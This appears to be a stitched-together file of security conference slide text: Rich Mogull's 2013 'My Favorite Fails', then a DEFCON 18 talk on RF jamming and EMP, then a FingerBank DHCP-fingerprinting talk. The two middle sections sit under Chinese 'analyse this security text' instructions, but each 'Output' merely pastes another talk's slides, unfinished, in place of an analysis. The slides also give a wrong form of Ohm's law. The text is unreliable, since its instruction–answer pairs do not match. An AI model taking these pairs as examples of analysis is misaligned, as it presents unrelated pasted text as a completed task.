Presents My Favorite Fails, 2013 Rich Mogull @rmogull Thursday, September 26, 13 5 Thursday, September 26, 13 Beijing, China 2011 Thursday, September 26, 13 Thursday, September 26, 13  25 student  50 instances  50 SSH connections Thursday, September 26, 13 1 IP Address Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 4 Thursday, September 26, 13 Thursday, September 26, 13 3 Thursday, September 26, 13 Have you ever heard of Heap Spray? Thursday, September 26, 13 We were the guys that heap sprayed the college from Amazon Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 2 Thursday, September 26, 13 Thursday, September 26, 13 I am contacting you on behalf of ISACA, formerly the Information Systems Audit and Control Association Trade Association, who would like to speak with you about how IT can transform cybersecurity using COBIT 5  a framework to integrate cybersecurity with an overall approach to security governance, risk management and compliance. This is critical for IT teams in the wake of escalating Advanced Persistent Threats (APTs). More than 80 percent of 1500 security professionals surveyed by ISACA admit they are not prepared for APTs. The challenge of APTs is particularly daunting in the face of always-on connectivity, an increasing IT-centric society and a new class system that separates people by technology skills. Thursday, September 26, 13 Thursday, September 26, 13 1 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEFCON 18 Electronic Weapons Presented by: mage2 Warning Mucking about with the things I am about to talk to you about can and will kill you and all puppies, kittens and laptops around you. So be forewarned. Also transmitting on frequencies you are not licensed for can really piss off the FCC and DHS, depending on what trouble you cause. Warning Part 2 This is a warning to all of those in the room right now. I am a horrid public speaker, I tend to talk fast and can easily get off topic. Now you are thinking why is he up there talking... Well I wanted to bring something to DEFCON, this is my 10th year attending. Things like this is something I am interested in and I want to bring my interests to others. I want to make you ask questions. If you have a question I hope to have a good amount of time after the slides for Q/A, I will also be around after the talk. What we will cover EMP EFI/RFI Lasers Others, etc Electronic Basic Concepts * All conductive material can act as an antenna. * Most electronics are sensitive to voltage spikes. * Most communication based electronics run on relatively low power signals. < 1W * Atomic and Nuclear weapons are not the only sources of EMP. * Voltage is based on the potential difference between the source and the ground. * Ohms law , learn it love it. V over IR squared. * We all know computers and all digital electronics run on binary signals. * This is represented as a square wave between 0v/GND and either 3.3v or 5v * There is a threshold of what the hardware expects to see as a high or a low. * When using transformers , you will trade current for voltage. * RF power diminishes over distance, closer = better. What are we working with RFI/EMI Using RFI/EMI as an attack is usually a DOS type of an attack. You will be creating a signal that is stronger than your target's signal. Your signal can be anything or just noise. These can be one of the easiest tools to aquire/build. RFI/EMI cont. Here are a few of the devices that can be used f


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FingerBank - open DHCP fingerprints database no it's not about a bank of fingers... Presentation Plan Device fingerprinting, passive fingerprinting, DHCP fingerprinting Defensive use cases Offensive use cases FingerBank announcement FingerBank's future Who I am Olivier Bilodeau System architect working at Inverse inc PacketFence lead developer since 2009 Teaching InfoSec to undergraduate in Montreal ... new father, Open Source nuts, enjoying CTFs a lot, android developer, brewing beer Social stuff twitter: @packetfence / identi.ca: @plaxx delicious: plaxxx / linkedin: olivier.bilodeau Device fingerprinting reminder Identifies software or hardware components Various types Operating Systems Devices Browsers Web Server Web Applications Two approaches of gathering fingerprints Active Pros: On demand Cons: Detectable, sometimes intrusive Passive Pros: Stealth Cons: not on demand Passive fingerprinting reminder Networks are really noisy Some protocols use broadcast Just wait for the goods to come to you LAN fingerprinting mDNS, TCP, ARP, DHCP, ... WAN fingerprinting honeypots DHCP Fingerprinting reminder The pervasiveness and broadcast nature of DHCP makes it compelling IP Helpers (UDP Helper Address) makes it very easy to collect centrally Rarely spoofed DHCP Fingerprinting reminder (contd.) DHCP Elements to fingerprint DHCP retransmission timing (actual vs in packet) IP TTL on DHCP packets DHCP Options (55: requested parameters, 60: vendor id, ...) Number and order of option 55 is particularly precise and interesting Defensive Use Cases Easy Operating System Inventory Even more powerful if IP-Helpers use DHCP Option 82 NAC integration to blacklist end-of-life OS ex: Win 2000 and earlier NAC integration to automatically allow dumb devices (shh!) Offensive Use Cases Stealth LAN Recon! ... Any other ideas? Why FingerBank? There are User-Agent databases out there There are snort signature databases out there What about DHCP Fingerprints? Consolidate information hidden in si